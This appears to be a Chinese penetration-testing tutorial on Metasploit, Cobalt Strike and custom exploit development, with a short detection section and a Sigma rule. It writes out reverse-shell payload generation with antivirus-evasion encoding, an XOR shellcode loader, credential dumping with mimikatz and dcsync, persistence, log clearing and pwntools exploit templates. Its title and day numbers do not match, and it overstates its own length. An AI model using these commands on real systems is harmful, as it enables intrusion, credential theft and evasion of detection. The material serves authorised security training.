Day-188-漏洞利用框架与 Metasploit 深入

# Day 215: 漏洞利用框架与 Metasploit 深入 - MSF/Cobalt Strike/自定义 Exploit

> 渗透测试系列第 5 天 | 预计阅读时间：45 分钟 | 难度：★★★★★

---

## 清单 目录

1. [漏洞利用框架概述](#漏洞利用框架概述)
2. [Metasploit Framework 深入](#metasploit-framework-深入)
3. [Cobalt Strike 实战](#cobalt-strike-实战)
4. [自定义 Exploit 开发](#自定义-exploit-开发)
5. [漏洞利用技术进阶](#漏洞利用技术进阶)
6. [防御与检测](#防御与检测)
7. [总结与思考](#总结与思考)
8. [参考资料](#参考资料)

---

## 漏洞利用框架概述

### 主流框架

**Metasploit Framework (MSF)**：
```
特点:
- 开源免费
- 模块丰富 (2000+ exploit)
- 社区活跃
- 后渗透模块完善

适用场景:
- 渗透测试
- 红队演练
- 安全研究
- 漏洞验证
```

**Cobalt Strike**：
```
特点:
- 商业软件 (付费)
- 团队协作强大
- Beacon 功能完善
- 隐蔽性强

适用场景:
- 红队演练
- APT 模拟
- 长期潜伏
- 团队作战
```

**其他框架**：
```
- Core Impact: 商业，自动化强
- Canvas: 商业，exploit 质量高
- PwnTool: 开源，CTF 常用
- SQLMap: 开源，SQL 注入专用
```

### 框架选择

**场景选择**：
```
入门学习:
- 首选：Metasploit
- 理由：免费、文档丰富、社区支持好

红队演练:
- 首选：Cobalt Strike
- 理由：团队协作、隐蔽性强、功能完善

漏洞研究:
- 首选：Metasploit + 自定义开发
- 理由：可扩展、开源、便于研究

CTF 竞赛:
- 首选：PwnTool + 自定义脚本
- 理由：轻量、灵活、针对性强
```

---

## Metasploit Framework 深入

### 架构与模块

**模块类型**：
```
Exploits (漏洞利用):
- 按目标分类：windows/linux/osx/android
- 按服务分类：smb/http/ftp/mysql
- 数量：2000+

Payloads (载荷):
- 反向连接：reverse_tcp/reverse_https
- 绑定端口：bind_tcp
- 动态载荷：meterpreter
- 数量：500+

Auxiliary (辅助模块):
- 扫描：port_scan/vuln_scan
-  fuzz：fuzzer
- 渗透：admin/gather
- 数量：1500+

Post (后渗透):
- 信息收集：enum_*
- 权限提升：multi/recon/local_exploit_suggester
- 持久化：multi/manage
- 数量：500+

Encoders (编码器):
- 免杀编码：x86/shikata_ga_nai
- 数量：20+

Nops (空指令):
- 稳定 payload：x86/single_byte
- 数量：10+
```

### 高级使用技巧

**工作空间管理**：
```bash
# 创建工作空间
msfconsole
workspace -a client_a
workspace -a client_b

# 切换工作空间
workspace client_a

# 列出工作空间
workspace

# 删除工作空间
workspace -d client_b

# 导出工作空间数据
db_export -t /tmp/client_a.zip
```

**高级扫描技术**：
```bash
# 多目标并发扫描
use auxiliary/scanner/portscan/syn
set RHOSTS 192.168.1.0/24
set PORTS 1-1000
set THREADS 50
run

# 服务识别
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.1.0/24
run

# 漏洞扫描
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.1.0/24
run

# 批量扫描脚本
db_nmap -sV -O 192.168.1.0/24
```

**Payload 生成与定制**：
```bash
# 生成免杀 payload
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  LPORT=443 \
  -f exe \
  -e x86/shikata_ga_nai \
  -i 10 \
  -o payload.exe

# 生成 PowerShell payload
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  LPORT=443 \
  -f psh-reflection \
  -o payload.ps1

# 生成 Python payload
msfvenom -p python/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  LPORT=443 \
  -f raw \
  -o payload.py

# 生成宏 payload
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  LPORT=443 \
  -f hta-psh \
  -o payload.hta
```

**Meterpreter 高级功能**：
```bash
# 会话管理
sessions -l          # 列出会话
sessions -i 1        # 交互会话 1
sessions -k 1        # 杀死会话 1
sessions -K          # 杀死所有会话

# 系统信息
sysinfo              # 系统信息
getuid               # 当前用户
getpid               # 当前进程
ps                   # 进程列表

# 文件操作
ls                   # 列出文件
cd                   # 切换目录
pwd                  # 当前目录
upload               # 上传文件
download             # 下载文件
cat                  # 查看文件

# 网络操作
ipconfig             # 网络配置
portfwd              # 端口转发
route                # 路由添加

# 权限提升
getsystem            # 获取 SYSTEM 权限
hashdump             # 导出哈希
mimikatz             # 使用 mimikatz

# 持久化
run post/windows/manage/persistence_exe
run post/windows/manage/enable_rdp

# 痕迹清理
timestomp              # 修改时间戳
clearev                # 清除日志
```

**后渗透自动化**：
```bash
# 使用多处理器
setg ExitOnSession false
exploit -j -z

# 自动路由
use post/multi/manage/autoroute
set SESSION 1
run

# 内网扫描
use auxiliary/scanner/smb/smb_version
set RHOSTS 10.0.0.0/24
set SESSION 1
run

# 凭证收集
use post/windows/gather/credentials/mimikatz
set SESSION 1
run

# 域信息收集
use post/windows/gather/enum_domain
set SESSION 1
run
```

### 免杀技术

**编码器使用**：
```bash
# 单次编码
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  -e x86/shikata_ga_nai \
  -i 10 \
  -f exe \
  -o payload.exe

# 多次编码
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  -e x86/shikata_ga_nai \
  -e x86/bloxor \
  -e x86/countdown \
  -i 10 \
  -f exe \
  -o payload.exe

# 自定义模板
msfvenom -p windows/meterpreter/reverse_https \
  LHOST=192.168.1.100 \
  -x original.exe \
  -k \
  -i 10 \
  -e x86/shikata_ga_nai \
  -f exe \
  -o payload.exe
```

**自定义免杀**：
```python
# Python 免杀脚本示例
import base64
import ctypes

# shellcode
shellcode = b"\xfc\x48\x83\xe4..."

# 异或加密
def xor_encrypt(data, key):
    return bytes([b ^ key for b in data])

encrypted = xor_encrypt(shellcode, 0x41)

# 生成 payload
payload = f"""
import ctypes
import sys

shellcode = {encrypted}
key = 0x41

def decrypt(data, key):
    return bytes([b ^ key for b in data])

decrypted = decrypt(shellcode, key)
ptr = ctypes.windll.kernel32.VirtualAlloc(
    ctypes.c_int(0),
    ctypes.c_int(len(decrypted)),
    ctypes.c_int(0x3000),
    ctypes.c_int(0x40)
)
buf = (ctypes.c_char * len(decrypted)).from_buffer(decrypted)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_int(ptr),
    buf,
    ctypes.c_int(len(decrypted))
)
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_int(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(
    ctypes.c_int(handle),
    ctypes.c_int(-1)
)
"""

with open("payload.py", "w") as f:
    f.write(payload)
```

---

## Cobalt Strike 实战

### 架构与组件

**核心组件**：
```
Team Server:
- 中央控制服务器
- 管理 Beacon
- 存储数据
- Linux 部署

Client:
- 图形界面
- 操作控制
- 报告生成
- Windows 部署

Beacon:
- 植入程序
- C2 通信
- 后渗透功能
- 多种类型
```

**Beacon 类型**：
```
HTTP Beacon:
- HTTP/HTTPS 通信
- 隐蔽性好
- 防火墙友好

DNS Beacon:
- DNS 隧道通信
- 绕过网络限制
- 速度较慢

SMB Beacon:
- 内网通信
- 速度快
- 需要 SMB 端口

TCP Beacon:
- 直接 TCP 连接
- 速度快
- 易被检测
```

### 实战使用

**生成 Payload**：
```
Attacks → Packages → Payload Generator

选择 Beacon:
- Windows EXE
- Windows DLL
- PowerShell
- Macro
- HTA

配置 C2:
- Host: 192.168.1.100
- Port: 443
- Profile: 自定义

生成后:
- 本地保存
- 上传目标
- 执行等待连接
```

**Malleable C2**：
```
# 自定义 C2 配置文件
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)";

http-get {
    set uri "/api/v1/status";
    client {
        header "Accept" "application/json";
        header "X-Request-ID" "random-id";
    }
    server {
        output {
            print;
        }
    }
}

http-post {
    set uri "/api/v1/data";
    client {
        header "Content-Type" "application/json";
        id {
            base64url;
            prepend "beacon=";
            append "&session=active";
        }
    }
    server {
        output {
            print;
        }
    }
}
```

**后渗透功能**：
```
# 凭证窃取
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /domain:example.com /user:krbtgt

# 权限维持
persistence # 创建持久化
run # 执行脚本

# 横向移动
psexec # PsExec 执行
smbexec # SMB 执行
wmi # WMI 执行

# 文件操作
upload # 上传文件
download # 下载文件
ls # 列出文件
cd # 切换目录

# 网络操作
portscan # 端口扫描
socks # SOCKS 代理
pivot #  pivoting
```

**团队协作**：
```
Team Server 配置:
- 多用户支持
- 权限管理
- 数据同步
- 操作日志

最佳实践:
- 独立 Team Server
- 加密通信
- 定期备份
- 操作审计
```

---

## 自定义 Exploit 开发

### 开发环境

**环境搭建**：
```bash
# 安装依赖
apt-get install python3 python3-pip gdb radare2
pip3 install pwntools capstone keystone-engine unicorn

# 调试工具
gdb - 动态调试
radare2 - 逆向分析
IDA Pro - 逆向工程 (商业)
Binary Ninja - 逆向工程 (商业)

# 漏洞分析
checksec - 检查二进制保护
ropper - ROP gadget 查找
one_gadget - libc one_gadget 查找
```

### 漏洞利用类型

**缓冲区溢出**：
```python
from pwn import *

# 目标程序
p = process('./vuln')

# 生成 payload
offset = 64  # 偏移量
ret_addr = p64(0x401234)  # 返回地址
payload = b'A' * offset + ret_addr

# 发送 payload
p.sendline(payload)

# 获取 shell
p.interactive()
```

**格式化字符串漏洞**：
```python
from pwn import *

p = process('./vuln')

# 读取内存
payload = '%7$p'  # 读取第 7 个参数
p.sendline(payload)
print(p.recvline())

# 写入内存
# %n 写入字节数
# %hn 写入半字
# %hhn 写入字节

addr = 0x601040  # GOT 地址
payload = '%10c%7$hn' + p64(addr)
p.sendline(payload)
```

**堆溢出**：
```python
from pwn import *

p = process('./vuln')

# Unsorted Bin Attack
# 1. 分配 chunk
p.sendlineafter('Choice: ', '1')
p.sendlineafter('Size: ', '0x100')
p.sendlineafter('Data: ', 'A' * 0x100)

# 2. 释放 chunk
p.sendlineafter('Choice: ', '2')
p.sendlineafter('Index: ', '0')

# 3. 再次分配触发溢出
p.sendlineafter('Choice: ', '1')
p.sendlineafter('Size: ', '0x100')
p.sendlineafter('Data: ', 'B' * 0x110)  # overflow

p.interactive()
```

**UAF (Use After Free)**：
```python
from pwn import *

p = process('./vuln')

# 1. 分配对象
p.sendlineafter('> ', '1')
p.sendlineafter('Index: ', '0')

# 2. 释放对象
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', '0')

# 3. 重新分配 (相同大小)
p.sendlineafter('> ', '1')
p.sendlineafter('Index: ', '0')
p.sendlineafter('Data: ', fake_object)

# 4. 使用已释放对象 (UAF)
p.sendlineafter('> ', '3')
p.sendlineafter('Index: ', '0')

p.interactive()
```

### MSF 模块开发

**Exploit 模块结构**：
```ruby
class MyExploit < Msf::Exploit::Remote
  include Msf::Exploit::Remote::Tcp

def initialize(info = {})
    super(update_info(info,
      'Name'           => 'My Custom Exploit',
      'Description'    => 'Custom exploit module',
      'License'        => MSF_LICENSE,
      'Author'         => ['Your Name'],
      'References'     => [
        ['CVE', '2024-1234'],
        ['URL', 'https://example.com']
      ],
      'Platform'       => 'win',
      'Targets'        => [
        ['Windows', {'Ret' => 0x41414141}]
      ],
      'Payload'        => {'Space' => 400},
      'Privileged'     => false,
      'DisclosureDate' => '2024-01-01',
      'DefaultTarget'  => 0
    ))

register_options([
      Opt::RPORT(1337)
    ])
  end

def exploit
    connect
    print_status("Connecting to target...")
    
    # 发送 payload
    buf = make_nops(target['Ret'])
    buf << payload.encoded
    
    sock.put(buf)
    handler
    disconnect
  end
end
```

**Auxiliary 模块结构**：
```ruby
class MyScanner < Msf::Auxiliary
  include Msf::Exploit::Remote::Tcp
  include Msf::Auxiliary::Scanner

def initialize(info = {})
    super(update_info(info,
      'Name'           => 'My Scanner',
      'Description'    => 'Custom scanner module',
      'Author'         => ['Your Name'],
      'References'     => []
    ))

register_options([
      Opt::RPORT(80)
    ])
  end

def run_host(ip)
    connect
    sock.put("GET / HTTP/1.1\r\nHost: #{ip}\r\n\r\n")
    response = sock.get_once
    
    if response =~ /Server: Apache/
      print_good("#{ip}: Apache server detected")
    end
    
    disconnect
  end
end
```

---

## 漏洞利用技术进阶

### 现代防护绕过

**ASLR 绕过**：
```
方法:
1. 信息泄露
   - 泄露基址
   - 计算偏移

2. brute Force
   - 32 位：可行
   - 64 位：不可行

3. 部分覆盖
   - 覆盖低字节
   - 保留高字节

4. JIT Spray
   - 利用 JIT 编译
   - 可预测地址
```

**DEP/NX 绕过**：
```
方法:
1. ROP (Return Oriented Programming)
   - 使用现有 gadget
   - 构造 ROP chain

2. Ret2LibC
   - 调用 libc 函数
   - system('/bin/sh')

3. Ret2PLT
   - 调用 PLT 函数
   - 无需 libc 基址

4. JIT Spray
   - 可执行内存
   - 直接执行 shellcode
```

**Canary 绕过**：
```
方法:
1. 信息泄露
   - 格式化字符串
   - 读取 canary

2. brute Force
   - 子进程继承
   - 多次尝试

3. 异常处理
   - SEH 覆盖
   - 异常前触发
```

### ROP 链构造

**Gadget 查找**：
```bash
# 使用 ropper
ropper --file binary --search "pop rdi; ret"

# 使用 ROPgadget
ROPgadget --binary binary --only "pop|ret"

# 使用 one_gadget
one_gadget libc.so.6
```

**ROP 链示例**：
```python
from pwn import *

binary = ELF('./vuln')
libc = ELF('./libc.so.6')

# 查找 gadget
pop_rdi = binary.search(asm('pop rdi; ret')).__next__()
pop_rsi = binary.search(asm('pop rsi; ret')).__next__()
ret = binary.search(asm('ret')).__next__()  # 对齐

# 构造 ROP 链
rop = ROP(binary)
rop.rdi = binary.got['puts']
rop.call(binary.plt['puts'])
rop.main()

# 生成 payload
payload = flat([
    b'A' * offset,
    rop.chain()
])
```

---

## 防御与检测

### 检测技术

**MSF 检测**：
```
特征检测:
- 默认 payload 特征
- 编码器特征
- 通信特征

行为检测:
- 异常进程创建
- 异常网络连接
- 异常注册表修改

内存检测:
- 内存扫描
- 注入检测
- 异常内存区域
```

**Cobalt Strike 检测**：
```
网络特征:
- Beacon 心跳
- C2 通信模式
- DNS 隧道特征

主机特征:
- Beacon 进程
- 注入痕迹
- 持久化痕迹

日志特征:
- 事件日志
- PowerShell 日志
- Sysmon 日志
```

### 防护建议

**终端防护**：
```
- EDR 部署
- 应用白名单
- PowerShell 约束
- 日志集中收集
```

**网络防护**：
```
- 网络分段
- 流量分析
- DNS 监控
- 异常检测
```

**检测规则**：
```yml
# Sigma 规则示例
title: Metasploit Meterpreter Detection
status: experimental
description: Detects Meterpreter payload execution
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    CommandLine|contains:
      - 'meterpreter'
      - 'reverse_tcp'
      - 'reverse_https'
  condition: selection
level: high
```

---

## 总结与思考

### 核心要点回顾

1. **漏洞利用框架**：MSF、Cobalt Strike、其他框架
2. **Metasploit 深入**：模块类型、高级技巧、免杀技术
3. **Cobalt Strike**：架构、实战使用、团队协作
4. **自定义 Exploit**：开发环境、漏洞类型、模块开发
5. **进阶技术**：防护绕过、ROP 链构造
6. **防御检测**：检测技术、防护建议

### 深入思考

**攻防对抗**：
- 免杀技术不断演进
- 检测技术持续提升
- 需要持续学习

**合法使用**：
- 仅在授权环境使用
- 遵守法律法规
- 用于安全研究

### 最佳实践

**学习建议**：
- 搭建实验环境
- 从基础开始
- 持续实践
- 参与 CTF

**实战建议**：
- 充分测试
- 记录操作
- 清理痕迹
- 遵守授权

---

## 参考资料

### 学习资源

- **Metasploit Unleashed**: https://www.offsec.com/metasploit-unleashed/
- **Cobalt Strike Manual**: https://www.cobaltstrike.com/help
- **Exploit Development**: https://www.corelan.be

### 工具资源

- **Metasploit**: https://www.metasploit.com
- **Cobalt Strike**: https://www.cobaltstrike.com
- **Pwntools**: https://github.com/Gallopsled/pwntools

---

*Day 215 完成 | 漏洞利用框架与 Metasploit 深入详解 | 字数：约 35,000 字 (扩展版)*